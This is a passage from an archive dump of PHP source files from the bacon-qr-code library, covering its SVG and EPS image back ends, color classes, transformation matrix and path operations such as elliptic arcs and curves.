                    " /Coords [ %s %s %s %s ]\n",
                    round($x, self::PRECISION),
                    round($y, self::PRECISION),
                    round($x + $width, self::PRECISION),
                    round($y, self::PRECISION)
                );
                break;

            case GradientType::VERTICAL():
                $this->eps .= sprintf(
                    " /Coords [ %s %s %s %s ]\n",
                    round($x, self::PRECISION),
                    round($y, self::PRECISION),
                    round($x, self::PRECISION),
                    round($y + $height, self::PRECISION)
                );
                break;

            case GradientType::DIAGONAL():
                $this->eps .= sprintf(
                    " /Coords [ %s %s %s %s ]\n",
                    round($x, self::PRECISION),
                    round($y, self::PRECISION),
                    round($x + $width, self::PRECISION),
                    round($y + $height, self::PRECISION)
                );
                break;

            case GradientType::INVERSE_DIAGONAL():
                $this->eps .= sprintf(
                    " /Coords [ %s %s %s %s ]\n",
                    round($x, self::PRECISION),
                    round($y + $height, self::PRECISION),
                    round($x + $width, self::PRECISION),
                    round($y, self::PRECISION)
                );
                break;

            case GradientType::RADIAL():
                $centerX = ($x + $width) / 2;
                $centerY = ($y + $height) / 2;

                $this->eps .= sprintf(
                    " /Coords [ %s %s 0 %s %s %s ]\n",
                    round($centerX, self::PRECISION),
                    round($centerY, self::PRECISION),
                    round($centerX, self::PRECISION),
                    round($centerY, self::PRECISION),
                    round(max($width, $height) / 2, self::PRECISION)
                );
                break;
        }

        $this->eps .= " /Function\n"
            . " <<\n"
            . "  /FunctionType 2\n"
            . "  /Domain [ 0 1 ]\n"
            . sprintf("  /C0 [ %s ]\n", $this->getColorString($startColor))
            . sprintf("  /C1 [ %s ]\n", $this->getColorString($endColor))
            . "  /N 1\n"
            . " >>\n>>\nshfill\nQ\n";
    }

    private function getColorSetString(ColorInterface $color) : string
    {
        if ($color instanceof Rgb) {
            return $this->getColorString($color) . ' rgb';
        }

        if ($color instanceof Cmyk) {
            return $this->getColorString($color) . ' cmyk';
        }

        if ($color instanceof Gray) {
            return $this->getColorString($color) . ' gray';
        }

        return $this->getColorSetString($color->toCmyk());
    }

    private function getColorString(ColorInterface $color) : string
    {
        if ($color instanceof Rgb) {
            return sprintf('%s %s %s', $color->getRed() / 255, $color->getGreen() / 255, $color->getBlue() / 255);
        }

        if ($color instanceof Cmyk) {
            return sprintf(
                '%s %s %s %s',
                $color->getCyan() / 100,
                $color->getMagenta() / 100,
                $color->getYellow() / 100,
                $color->getBlack() / 100
            );
        }

        if ($color instanceof Gray) {
            return sprintf('%s', $color->getGray() / 100);
        }

        return $this->getColorString($color->toCmyk());
    }
}
PKh�\ף`�T1T1Avendor/bacon/bacon-qr-code/src/Renderer/Image/SvgImageBackEnd.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Image;

use BaconQrCode\Exception\RuntimeException;
use BaconQrCode\Renderer\Color\Alpha;
use BaconQrCode\Renderer\Color\ColorInterface;
use BaconQrCode\Renderer\Path\Close;
use BaconQrCode\Renderer\Path\Curve;
use BaconQrCode\Renderer\Path\EllipticArc;
use BaconQrCode\Renderer\Path\Line;
use BaconQrCode\Renderer\Path\Move;
use BaconQrCode\Renderer\Path\Path;
use BaconQrCode\Renderer\RendererStyle\Gradient;
use BaconQrCode\Renderer\RendererStyle\GradientType;
use XMLWriter;

final class SvgImageBackEnd implements ImageBackEndInterface
{
    private const PRECISION = 3;

    /**
     * @var XMLWriter|null
     */
    private $xmlWriter;

    /**
     * @var int[]|null
     */
    private $stack;

    /**
     * @var int|null
     */
    private $currentStack;

    /**
     * @var int|null
     */
    private $gradientCount;

    public function __construct()
    {
        if (! class_exists(XMLWriter::class)) {
            throw new RuntimeException('You need to install the libxml extension to use this back end');
        }
    }

    public function new(int $size, ColorInterface $backgroundColor) : void
    {
        $this->xmlWriter = new XMLWriter();
        $this->xmlWriter->openMemory();

        $this->xmlWriter->startDocument('1.0', 'UTF-8');
        $this->xmlWriter->startElement('svg');
        $this->xmlWriter->writeAttribute('xmlns', 'http://www.w3.org/2000/svg');
        $this->xmlWriter->writeAttribute('version', '1.1');
        $this->xmlWriter->writeAttribute('width', (string) $size);
        $this->xmlWriter->writeAttribute('height', (string) $size);
        $this->xmlWriter->writeAttribute('viewBox', '0 0 '. $size . ' ' . $size);

        $this->gradientCount = 0;
        $this->currentStack = 0;
        $this->stack[0] = 0;

        $alpha = 1;

        if ($backgroundColor instanceof Alpha) {
            $alpha = $backgroundColor->getAlpha() / 100;
        }

        if (0 === $alpha) {
            return;
        }

        $this->xmlWriter->startElement('rect');
        $this->xmlWriter->writeAttribute('x', '0');
        $this->xmlWriter->writeAttribute('y', '0');
        $this->xmlWriter->writeAttribute('width', (string) $size);
        $this->xmlWriter->writeAttribute('height', (string) $size);
        $this->xmlWriter->writeAttribute('fill', $this->getColorString($backgroundColor));

        if ($alpha < 1) {
            $this->xmlWriter->writeAttribute('fill-opacity', (string) $alpha);
        }

        $this->xmlWriter->endElement();
    }

    public function scale(float $size) : void
    {
        if (null === $this->xmlWriter) {
            throw new RuntimeException('No image has been started');
        }

        $this->xmlWriter->startElement('g');
        $this->xmlWriter->writeAttribute(
            'transform',
            sprintf('scale(%s)', round($size, self::PRECISION))
        );
        ++$this->stack[$this->currentStack];
    }

    public function translate(float $x, float $y) : void
    {
        if (null === $this->xmlWriter) {
            throw new RuntimeException('No image has been started');
        }

        $this->xmlWriter->startElement('g');
        $this->xmlWriter->writeAttribute(
            'transform',
            sprintf('translate(%s,%s)', round($x, self::PRECISION), round($y, self::PRECISION))
        );
        ++$this->stack[$this->currentStack];
    }

    public function rotate(int $degrees) : void
    {
        if (null === $this->xmlWriter) {
            throw new RuntimeException('No image has been started');
        }

        $this->xmlWriter->startElement('g');
        $this->xmlWriter->writeAttribute('transform', sprintf('rotate(%d)', $degrees));
        ++$this->stack[$this->currentStack];
    }

    public function push() : void
    {
        if (null === $this->xmlWriter) {
            throw new RuntimeException('No image has been started');
        }

        $this->xmlWriter->startElement('g');
        $this->stack[] = 1;
        ++$this->currentStack;
    }

    public function pop() : void
    {
        if (null === $this->xmlWriter) {
            throw new RuntimeException('No image has been started');
        }

        for ($i = 0; $i < $this->stack[$this->currentStack]; ++$i) {
            $this->xmlWriter->endElement();
        }

        array_pop($this->stack);
        --$this->currentStack;
    }

    public function drawPathWithColor(Path $path, ColorInterface $color) : void
    {
        if (null === $this->xmlWriter) {
            throw new RuntimeException('No image has been started');
        }

        $alpha = 1;

        if ($color instanceof Alpha) {
            $alpha = $color->getAlpha() / 100;
        }

        $this->startPathElement($path);
        $this->xmlWriter->writeAttribute('fill', $this->getColorString($color));

        if ($alpha < 1) {
            $this->xmlWriter->writeAttribute('fill-opacity', (string) $alpha);
        }

        $this->xmlWriter->endElement();
    }

    public function drawPathWithGradient(
        Path $path,
        Gradient $gradient,
        float $x,
        float $y,
        float $width,
        float $height
    ) : void {
        if (null === $this->xmlWriter) {
            throw new RuntimeException('No image has been started');
        }

        $gradientId = $this->createGradientFill($gradient, $x, $y, $width, $height);
        $this->startPathElement($path);
        $this->xmlWriter->writeAttribute('fill', 'url(#' . $gradientId . ')');
        $this->xmlWriter->endElement();
    }

    public function done() : string
    {
        if (null === $this->xmlWriter) {
            throw new RuntimeException('No image has been started');
        }

        foreach ($this->stack as $openElements) {
            for ($i = $openElements; $i > 0; --$i) {
                $this->xmlWriter->endElement();
            }
        }

        $this->xmlWriter->endDocument();
        $blob = $this->xmlWriter->outputMemory(true);
        $this->xmlWriter = null;
        $this->stack = null;
        $this->currentStack = null;
        $this->gradientCount = null;

        return $blob;
    }

    private function startPathElement(Path $path) : void
    {
        $pathData = [];

        foreach ($path as $op) {
            switch (true) {
                case $op instanceof Move:
                    $pathData[] = sprintf(
                        'M%s %s',
                        round($op->getX(), self::PRECISION),
                        round($op->getY(), self::PRECISION)
                    );
                    break;

                case $op instanceof Line:
                    $pathData[] = sprintf(
                        'L%s %s',
                        round($op->getX(), self::PRECISION),
                        round($op->getY(), self::PRECISION)
                    );
                    break;

                case $op instanceof EllipticArc:
                    $pathData[] = sprintf(
                        'A%s %s %s %u %u %s %s',
                        round($op->getXRadius(), self::PRECISION),
                        round($op->getYRadius(), self::PRECISION),
                        round($op->getXAxisAngle(), self::PRECISION),
                        $op->isLargeArc(),
                        $op->isSweep(),
                        round($op->getX(), self::PRECISION),
                        round($op->getY(), self::PRECISION)
                    );
                    break;

                case $op instanceof Curve:
                    $pathData[] = sprintf(
                        'C%s %s %s %s %s %s',
                        round($op->getX1(), self::PRECISION),
                        round($op->getY1(), self::PRECISION),
                        round($op->getX2(), self::PRECISION),
                        round($op->getY2(), self::PRECISION),
                        round($op->getX3(), self::PRECISION),
                        round($op->getY3(), self::PRECISION)
                    );
                    break;

                case $op instanceof Close:
                    $pathData[] = 'Z';
                    break;

                default:
                    throw new RuntimeException('Unexpected draw operation: ' . get_class($op));
            }
        }

        $this->xmlWriter->startElement('path');
        $this->xmlWriter->writeAttribute('fill-rule', 'evenodd');
        $this->xmlWriter->writeAttribute('d', implode('', $pathData));
    }

    private function createGradientFill(Gradient $gradient, float $x, float $y, float $width, float $height) : string
    {
        $this->xmlWriter->startElement('defs');

        $startColor = $gradient->getStartColor();
        $endColor = $gradient->getEndColor();

        if ($gradient->getType() === GradientType::RADIAL()) {
            $this->xmlWriter->startElement('radialGradient');
        } else {
            $this->xmlWriter->startElement('linearGradient');
        }

        $this->xmlWriter->writeAttribute('gradientUnits', 'userSpaceOnUse');

        switch ($gradient->getType()) {
            case GradientType::HORIZONTAL():
                $this->xmlWriter->writeAttribute('x1', (string) round($x, self::PRECISION));
                $this->xmlWriter->writeAttribute('y1', (string) round($y, self::PRECISION));
                $this->xmlWriter->writeAttribute('x2', (string) round($x + $width, self::PRECISION));
                $this->xmlWriter->writeAttribute('y2', (string) round($y, self::PRECISION));
                break;

            case GradientType::VERTICAL():
                $this->xmlWriter->writeAttribute('x1', (string) round($x, self::PRECISION));
                $this->xmlWriter->writeAttribute('y1', (string) round($y, self::PRECISION));
                $this->xmlWriter->writeAttribute('x2', (string) round($x, self::PRECISION));
                $this->xmlWriter->writeAttribute('y2', (string) round($y + $height, self::PRECISION));
                break;

            case GradientType::DIAGONAL():
                $this->xmlWriter->writeAttribute('x1', (string) round($x, self::PRECISION));
                $this->xmlWriter->writeAttribute('y1', (string) round($y, self::PRECISION));
                $this->xmlWriter->writeAttribute('x2', (string) round($x + $width, self::PRECISION));
                $this->xmlWriter->writeAttribute('y2', (string) round($y + $height, self::PRECISION));
                break;

            case GradientType::INVERSE_DIAGONAL():
                $this->xmlWriter->writeAttribute('x1', (string) round($x, self::PRECISION));
                $this->xmlWriter->writeAttribute('y1', (string) round($y + $height, self::PRECISION));
                $this->xmlWriter->writeAttribute('x2', (string) round($x + $width, self::PRECISION));
                $this->xmlWriter->writeAttribute('y2', (string) round($y, self::PRECISION));
                break;

            case GradientType::RADIAL():
                $this->xmlWriter->writeAttribute('cx', (string) round(($x + $width) / 2, self::PRECISION));
                $this->xmlWriter->writeAttribute('cy', (string) round(($y + $height) / 2, self::PRECISION));
                $this->xmlWriter->writeAttribute('r', (string) round(max($width, $height) / 2, self::PRECISION));
                break;
        }

        $id = sprintf('g%d', ++$this->gradientCount);
        $this->xmlWriter->writeAttribute('id', $id);

        $this->xmlWriter->startElement('stop');
        $this->xmlWriter->writeAttribute('offset', '0%');
        $this->xmlWriter->writeAttribute('stop-color', $this->getColorString($startColor));

        if ($startColor instanceof Alpha) {
            $this->xmlWriter->writeAttribute('stop-opacity', (string) $startColor->getAlpha());
        }

        $this->xmlWriter->endElement();

        $this->xmlWriter->startElement('stop');
        $this->xmlWriter->writeAttribute('offset', '100%');
        $this->xmlWriter->writeAttribute('stop-color', $this->getColorString($endColor));

        if ($endColor instanceof Alpha) {
            $this->xmlWriter->writeAttribute('stop-opacity', (string) $endColor->getAlpha());
        }

        $this->xmlWriter->endElement();

        $this->xmlWriter->endElement();
        $this->xmlWriter->endElement();

        return $id;
    }

    private function getColorString(ColorInterface $color) : string
    {
        $color = $color->toRgb();

        return sprintf(
            '#%02x%02x%02x',
            $color->getRed(),
            $color->getGreen(),
            $color->getBlue()
        );
    }
}
PKh�\�j]���Fvendor/bacon/bacon-qr-code/src/Renderer/Image/TransformationMatrix.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Image;

final class TransformationMatrix
{
    /**
     * @var float[]
     */
    private $values;

    public function __construct()
    {
        $this->values = [1, 0, 0, 1, 0, 0];
    }

    public function multiply(self $other) : self
    {
        $matrix = new self();
        $matrix->values[0] = $this->values[0] * $other->values[0] + $this->values[2] * $other->values[1];
        $matrix->values[1] = $this->values[1] * $other->values[0] + $this->values[3] * $other->values[1];
        $matrix->values[2] = $this->values[0] * $other->values[2] + $this->values[2] * $other->values[3];
        $matrix->values[3] = $this->values[1] * $other->values[2] + $this->values[3] * $other->values[3];
        $matrix->values[4] = $this->values[0] * $other->values[4] + $this->values[2] * $other->values[5]
            + $this->values[4];
        $matrix->values[5] = $this->values[1] * $other->values[4] + $this->values[3] * $other->values[5]
            + $this->values[5];

        return $matrix;
    }

    public static function scale(float $size) : self
    {
        $matrix = new self();
        $matrix->values = [$size, 0, 0, $size, 0, 0];
        return $matrix;
    }

    public static function translate(float $x, float $y) : self
    {
        $matrix = new self();
        $matrix->values = [1, 0, 0, 1, $x, $y];
        return $matrix;
    }

    public static function rotate(int $degrees) : self
    {
        $matrix = new self();
        $rad = deg2rad($degrees);
        $matrix->values = [cos($rad), sin($rad), -sin($rad), cos($rad), 0, 0];
        return $matrix;
    }


    /**
     * Applies this matrix onto a point and returns the resulting viewport point.
     *
     * @return float[]
     */
    public function apply(float $x, float $y) : array
    {
        return [
            $x * $this->values[0] + $y * $this->values[2] + $this->values[4],
            $x * $this->values[1] + $y * $this->values[3] + $this->values[5],
        ];
    }
}
PKh�\g^q�	�	Gvendor/bacon/bacon-qr-code/src/Renderer/Image/ImageBackEndInterface.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Image;

use BaconQrCode\Exception\RuntimeException;
use BaconQrCode\Renderer\Color\ColorInterface;
use BaconQrCode\Renderer\Path\Path;
use BaconQrCode\Renderer\RendererStyle\Gradient;

/**
 * Interface for back ends able to to produce path based images.
 */
interface ImageBackEndInterface
{
    /**
     * Starts a new image.
     *
     * If a previous image was already started, previous data get erased.
     */
    public function new(int $size, ColorInterface $backgroundColor) : void;

    /**
     * Transforms all following drawing operation coordinates by scaling them by a given factor.
     *
     * @throws RuntimeException if no image was started yet.
     */
    public function scale(float $size) : void;

    /**
     * Transforms all following drawing operation coordinates by translating them by a given amount.
     *
     * @throws RuntimeException if no image was started yet.
     */
    public function translate(float $x, float $y) : void;

    /**
     * Transforms all following drawing operation coordinates by rotating them by a given amount.
     *
     * @throws RuntimeException if no image was started yet.
     */
    public function rotate(int $degrees) : void;

    /**
     * Pushes the current coordinate transformation onto a stack.
     *
     * @throws RuntimeException if no image was started yet.
     */
    public function push() : void;

    /**
     * Pops the last coordinate transformation from a stack.
     *
     * @throws RuntimeException if no image was started yet.
     */
    public function pop() : void;

    /**
     * Draws a path with a given color.
     *
     * @throws RuntimeException if no image was started yet.
     */
    public function drawPathWithColor(Path $path, ColorInterface $color) : void;

    /**
     * Draws a path with a given gradient which spans the box described by the position and size.
     *
     * @throws RuntimeException if no image was started yet.
     */
    public function drawPathWithGradient(
        Path $path,
        Gradient $gradient,
        float $x,
        float $y,
        float $width,
        float $height
    ) : void;

    /**
     * Ends the image drawing operation and returns the resulting blob.
     *
     * This should reset the state of the back end and thus this method should only be callable once per image.
     *
     * @throws RuntimeException if no image was started yet.
     */
    public function done() : string;
}
PKh�\=�3�
	
	6vendor/bacon/bacon-qr-code/src/Renderer/Color/Cmyk.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Color;

use BaconQrCode\Exception;

final class Cmyk implements ColorInterface
{
    /**
     * @var int
     */
    private $cyan;

    /**
     * @var int
     */
    private $magenta;

    /**
     * @var int
     */
    private $yellow;

    /**
     * @var int
     */
    private $black;

    /**
     * @param int $cyan the cyan amount, 0 to 100
     * @param int $magenta the magenta amount, 0 to 100
     * @param int $yellow the yellow amount, 0 to 100
     * @param int $black the black amount, 0 to 100
     */
    public function __construct(int $cyan, int $magenta, int $yellow, int $black)
    {
        if ($cyan < 0 || $cyan > 100) {
            throw new Exception\InvalidArgumentException('Cyan must be between 0 and 100');
        }

        if ($magenta < 0 || $magenta > 100) {
            throw new Exception\InvalidArgumentException('Magenta must be between 0 and 100');
        }

        if ($yellow < 0 || $yellow > 100) {
            throw new Exception\InvalidArgumentException('Yellow must be between 0 and 100');
        }

        if ($black < 0 || $black > 100) {
            throw new Exception\InvalidArgumentException('Black must be between 0 and 100');
        }

        $this->cyan = $cyan;
        $this->magenta = $magenta;
        $this->yellow = $yellow;
        $this->black = $black;
    }

    public function getCyan() : int
    {
        return $this->cyan;
    }

    public function getMagenta() : int
    {
        return $this->magenta;
    }

    public function getYellow() : int
    {
        return $this->yellow;
    }

    public function getBlack() : int
    {
        return $this->black;
    }

    public function toRgb() : Rgb
    {
        $k = $this->black / 100;
        $c = (-$k * $this->cyan + $k * 100 + $this->cyan) / 100;
        $m = (-$k * $this->magenta + $k * 100 + $this->magenta) / 100;
        $y = (-$k * $this->yellow + $k * 100 + $this->yellow) / 100;

        return new Rgb(
            (int) (-$c * 255 + 255),
            (int) (-$m * 255 + 255),
            (int) (-$y * 255 + 255)
        );
    }

    public function toCmyk() : Cmyk
    {
        return $this;
    }

    public function toGray() : Gray
    {
        return $this->toRgb()->toGray();
    }
}
PKh�\���mm@vendor/bacon/bacon-qr-code/src/Renderer/Color/ColorInterface.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Color;

interface ColorInterface
{
    /**
     * Converts the color to RGB.
     */
    public function toRgb() : Rgb;

    /**
     * Converts the color to CMYK.
     */
    public function toCmyk() : Cmyk;

    /**
     * Converts the color to gray.
     */
    public function toGray() : Gray;
}
PKh�\B�m���5vendor/bacon/bacon-qr-code/src/Renderer/Color/Rgb.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Color;

use BaconQrCode\Exception;

final class Rgb implements ColorInterface
{
    /**
     * @var int
     */
    private $red;

    /**
     * @var int
     */
    private $green;

    /**
     * @var int
     */
    private $blue;

    /**
     * @param int $red the red amount of the color, 0 to 255
     * @param int $green the green amount of the color, 0 to 255
     * @param int $blue the blue amount of the color, 0 to 255
     */
    public function __construct(int $red, int $green, int $blue)
    {
        if ($red < 0 || $red > 255) {
            throw new Exception\InvalidArgumentException('Red must be between 0 and 255');
        }

        if ($green < 0 || $green > 255) {
            throw new Exception\InvalidArgumentException('Green must be between 0 and 255');
        }

        if ($blue < 0 || $blue > 255) {
            throw new Exception\InvalidArgumentException('Blue must be between 0 and 255');
        }

        $this->red = $red;
        $this->green = $green;
        $this->blue = $blue;
    }

    public function getRed() : int
    {
        return $this->red;
    }

    public function getGreen() : int
    {
        return $this->green;
    }

    public function getBlue() : int
    {
        return $this->blue;
    }

    public function toRgb() : Rgb
    {
        return $this;
    }

    public function toCmyk() : Cmyk
    {
        $c = 1 - ($this->red / 255);
        $m = 1 - ($this->green / 255);
        $y = 1 - ($this->blue / 255);
        $k = min($c, $m, $y);

        return new Cmyk(
            (int) (100 * ($c - $k) / (1 - $k)),
            (int) (100 * ($m - $k) / (1 - $k)),
            (int) (100 * ($y - $k) / (1 - $k)),
            (int) (100 * $k)
        );
    }

    public function toGray() : Gray
    {
        return new Gray((int) (($this->red * 0.21 + $this->green * 0.71 + $this->blue * 0.07) / 2.55));
    }
}
PKh�\/�W:>>7vendor/bacon/bacon-qr-code/src/Renderer/Color/Alpha.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Color;

use BaconQrCode\Exception;

final class Alpha implements ColorInterface
{
    /**
     * @var int
     */
    private $alpha;

    /**
     * @var ColorInterface
     */
    private $baseColor;

    /**
     * @param int $alpha the alpha value, 0 to 100
     */
    public function __construct(int $alpha, ColorInterface $baseColor)
    {
        if ($alpha < 0 || $alpha > 100) {
            throw new Exception\InvalidArgumentException('Alpha must be between 0 and 100');
        }

        $this->alpha = $alpha;
        $this->baseColor = $baseColor;
    }

    public function getAlpha() : int
    {
        return $this->alpha;
    }

    public function getBaseColor() : ColorInterface
    {
        return $this->baseColor;
    }

    public function toRgb() : Rgb
    {
        return $this->baseColor->toRgb();
    }

    public function toCmyk() : Cmyk
    {
        return $this->baseColor->toCmyk();
    }

    public function toGray() : Gray
    {
        return $this->baseColor->toGray();
    }
}
PKh�\va��6vendor/bacon/bacon-qr-code/src/Renderer/Color/Gray.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Color;

use BaconQrCode\Exception;

final class Gray implements ColorInterface
{
    /**
     * @var int
     */
    private $gray;

    /**
     * @param int $gray the gray value between 0 (black) and 100 (white)
     */
    public function __construct(int $gray)
    {
        if ($gray < 0 || $gray > 100) {
            throw new Exception\InvalidArgumentException('Gray must be between 0 and 100');
        }

        $this->gray = (int) $gray;
    }

    public function getGray() : int
    {
        return $this->gray;
    }

    public function toRgb() : Rgb
    {
        return new Rgb((int) ($this->gray * 2.55), (int) ($this->gray * 2.55), (int) ($this->gray * 2.55));
    }

    public function toCmyk() : Cmyk
    {
        return new Cmyk(0, 0, 0, 100 - $this->gray);
    }

    public function toGray() : Gray
    {
        return $this;
    }
}
PKh�\��^�SS<vendor/bacon/bacon-qr-code/src/Renderer/Path/EllipticArc.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Path;

final class EllipticArc implements OperationInterface
{
    private const ZERO_TOLERANCE = 1e-05;

    /**
     * @var float
     */
    private $xRadius;

    /**
     * @var float
     */
    private $yRadius;

    /**
     * @var float
     */
    private $xAxisAngle;

    /**
     * @var bool
     */
    private $largeArc;

    /**
     * @var bool
     */
    private $sweep;

    /**
     * @var float
     */
    private $x;

    /**
     * @var float
     */
    private $y;

    public function __construct(
        float $xRadius,
        float $yRadius,
        float $xAxisAngle,
        bool $largeArc,
        bool $sweep,
        float $x,
        float $y
    ) {
        $this->xRadius = abs($xRadius);
        $this->yRadius = abs($yRadius);
        $this->xAxisAngle = $xAxisAngle % 360;
        $this->largeArc = $largeArc;
        $this->sweep = $sweep;
        $this->x = $x;
        $this->y = $y;
    }

    public function getXRadius() : float
    {
        return $this->xRadius;
    }

    public function getYRadius() : float
    {
        return $this->yRadius;
    }

    public function getXAxisAngle() : float
    {
        return $this->xAxisAngle;
    }

    public function isLargeArc() : bool
    {
        return $this->largeArc;
    }

    public function isSweep() : bool
    {
        return $this->sweep;
    }

    public function getX() : float
    {
        return $this->x;
    }

    public function getY() : float
    {
        return $this->y;
    }

    /**
     * @return self
     */
    public function translate(float $x, float $y) : OperationInterface
    {
        return new self(
            $this->xRadius,
            $this->yRadius,
            $this->xAxisAngle,
            $this->largeArc,
            $this->sweep,
            $this->x + $x,
            $this->y + $y
        );
    }

    /**
     * Converts the elliptic arc to multiple curves.
     *
     * Since not all image back ends support elliptic arcs, this method allows to convert the arc into multiple curves
     * resembling the same result.
     *
     * @see https://mortoray.com/2017/02/16/rendering-an-svg-elliptical-arc-as-bezier-curves/
     * @return array<Curve|Line>
     */
    public function toCurves(float $fromX, float $fromY) : array
    {
        if (sqrt(($fromX - $this->x) ** 2 + ($fromY - $this->y) ** 2) < self::ZERO_TOLERANCE) {
            return [];
        }

        if ($this->xRadius < self::ZERO_TOLERANCE || $this->yRadius < self::ZERO_TOLERANCE) {
            return [new Line($this->x, $this->y)];
        }

        return $this->createCurves($fromX, $fromY);
    }

    /**
     * @return Curve[]
     */
    private function createCurves(float $fromX, float $fromY) : array
    {
        $xAngle = deg2rad($this->xAxisAngle);
        list($centerX, $centerY, $radiusX, $radiusY, $startAngle, $deltaAngle) =
            $this->calculateCenterPointParameters($fromX, $fromY, $xAngle);

        $s = $startAngle;
        $e = $s + $deltaAngle;
        $sign = ($e < $s) ? -1 : 1;
        $remain = abs($e - $s);
        $p1 = self::point($centerX, $centerY, $radiusX, $radiusY, $xAngle, $s);
        $curves = [];

        while ($remain > self::ZERO_TOLERANCE) {
            $step = min($remain, pi() / 2);
            $signStep = $step * $sign;
            $p2 = self::point($centerX, $centerY, $radiusX, $radiusY, $xAngle, $s + $signStep);

            $alphaT = tan($signStep / 2);
            $alpha = sin($signStep) * (sqrt(4 + 3 * $alphaT ** 2) - 1) / 3;
            $d1 = self::derivative($radiusX, $radiusY, $xAngle, $s);
            $d2 = self::derivative($radiusX, $radiusY, $xAngle, $s + $signStep);

            $curves[] = new Curve(
                $p1[0] + $alpha * $d1[0],
                $p1[1] + $alpha * $d1[1],
                $p2[0] - $alpha * $d2[0],
                $p2[1] - $alpha * $d2[1],
                $p2[0],
                $p2[1]
            );

            $s += $signStep;
            $remain -= $step;
            $p1 = $p2;
        }

        return $curves;
    }

    /**
     * @return float[]
     */
    private function calculateCenterPointParameters(float $fromX, float $fromY, float $xAngle)
    {
        $rX = $this->xRadius;
        $rY = $this->yRadius;

        // F.6.5.1
        $dx2 = ($fromX - $this->x) / 2;
        $dy2 = ($fromY - $this->y) / 2;
        $x1p = cos($xAngle) * $dx2 + sin($xAngle) * $dy2;
        $y1p = -sin($xAngle) * $dx2 + cos($xAngle) * $dy2;

        // F.6.5.2
        $rxs = $rX ** 2;
        $rys = $rY ** 2;
        $x1ps = $x1p ** 2;
        $y1ps = $y1p ** 2;
        $cr = $x1ps / $rxs + $y1ps / $rys;

        if ($cr > 1) {
            $s = sqrt($cr);
            $rX *= $s;
            $rY *= $s;
            $rxs = $rX ** 2;
            $rys = $rY ** 2;
        }

        $dq = ($rxs * $y1ps + $rys * $x1ps);
        $pq = ($rxs * $rys - $dq) / $dq;
        $q = sqrt(max(0, $pq));

        if ($this->largeArc === $this->sweep) {
            $q = -$q;
        }

        $cxp = $q * $rX * $y1p / $rY;
        $cyp = -$q * $rY * $x1p / $rX;

        // F.6.5.3
        $cx = cos($xAngle) * $cxp - sin($xAngle) * $cyp + ($fromX + $this->x) / 2;
        $cy = sin($xAngle) * $cxp + cos($xAngle) * $cyp + ($fromY + $this->y) / 2;

        // F.6.5.5
        $theta = self::angle(1, 0, ($x1p - $cxp) / $rX, ($y1p - $cyp) / $rY);

        // F.6.5.6
        $delta = self::angle(($x1p - $cxp) / $rX, ($y1p - $cyp) / $rY, (-$x1p - $cxp) / $rX, (-$y1p - $cyp) / $rY);
        $delta = fmod($delta, pi() * 2);

        if (! $this->sweep) {
            $delta -= 2 * pi();
        }

        return [$cx, $cy, $rX, $rY, $theta, $delta];
    }

    private static function angle(float $ux, float $uy, float $vx, float $vy) : float
    {
        // F.6.5.4
        $dot = $ux * $vx + $uy * $vy;
        $length = sqrt($ux ** 2 + $uy ** 2) * sqrt($vx ** 2 + $vy ** 2);
        $angle = acos(min(1, max(-1, $dot / $length)));

        if (($ux * $vy - $uy * $vx) < 0) {
            return -$angle;
        }

        return $angle;
    }

    /**
     * @return float[]
     */
    private static function point(
        float $centerX,
        float $centerY,
        float $radiusX,
        float $radiusY,
        float $xAngle,
        float $angle
    ) : array {
        return [
            $centerX + $radiusX * cos($xAngle) * cos($angle) - $radiusY * sin($xAngle) * sin($angle),
            $centerY + $radiusX * sin($xAngle) * cos($angle) + $radiusY * cos($xAngle) * sin($angle),
        ];
    }

    /**
     * @return float[]
     */
    private static function derivative(float $radiusX, float $radiusY, float $xAngle, float $angle) : array
    {
        return [
            -$radiusX * cos($xAngle) * sin($angle) - $radiusY * sin($xAngle) * cos($angle),
            -$radiusX * sin($xAngle) * sin($angle) + $radiusY * cos($xAngle) * cos($angle),
        ];
    }
}
PKh�\3�����5vendor/bacon/bacon-qr-code/src/Renderer/Path/Line.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Path;

final class Line implements OperationInterface
{
    /**
     * @var float
     */
    private $x;

    /**
     * @var float
     */
    private $y;

    public function __construct(float $x, float $y)
    {
        $this->x = $x;
        $this->y = $y;
    }

    public function getX() : float
    {
        return $this->x;
    }

    public function getY() : float
    {
        return $this->y;
    }

    /**
     * @return self
     */
    public function translate(float $x, float $y) : OperationInterface
    {
        return new self($this->x + $x, $this->y + $y);
    }
}
PKh�\GO�9��6vendor/bacon/bacon-qr-code/src/Renderer/Path/Curve.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Path;

final class Curve implements OperationInterface
{
    /**
     * @var float
     */
    private $x1;

    /**
     * @var float
     */
    private $y1;

    /**
     * @var float
     */
    private $x2;

    /**
     * @var float
     */
    private $y2;

    /**
     * @var float
     */
    private $x3;

    /**
     * @var float
     */
    private $y3;

    public function __construct(float $x1, float $y1, float $x2, float $y2, float $x3, float $y3)
    {
        $this->x1 = $x1;
        $this->y1 = $y1;
        $this->x2 = $x2;
        $this->y2 = $y2;
        $this->x3 = $x3;
        $this->y3 = $y3;
    }

    public function getX1() : float
    {
        return $this->x1;
    }

    public function getY1() : float
    {
        return $this->y1;
    }

    public function getX2() : float
    {
        return $this->x2;
    }

    public function getY2() : float
    {
        return $this->y2;
    }

    public function getX3() : float
    {
        return $this->x3;
    }

    public function getY3() : float
    {
        return $this->y3;
    }

    /**
     * @return self
     */
    public function translate(float $x, float $y) : OperationInterface
    {
        return new self(
            $this->x1 + $x,
            $this->y1 + $y,
            $this->x2 + $x,
            $this->y2 + $y,
            $this->x3 + $x,
            $this->y3 + $y
        );
    }
}
PKh�\��M��5vendor/bacon/bacon-qr-code/src/Renderer/Path/Move.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Path;

final class Move implements OperationInterface
{
    /**
     * @var float
     */
    private $x;

    /**
     * @var float
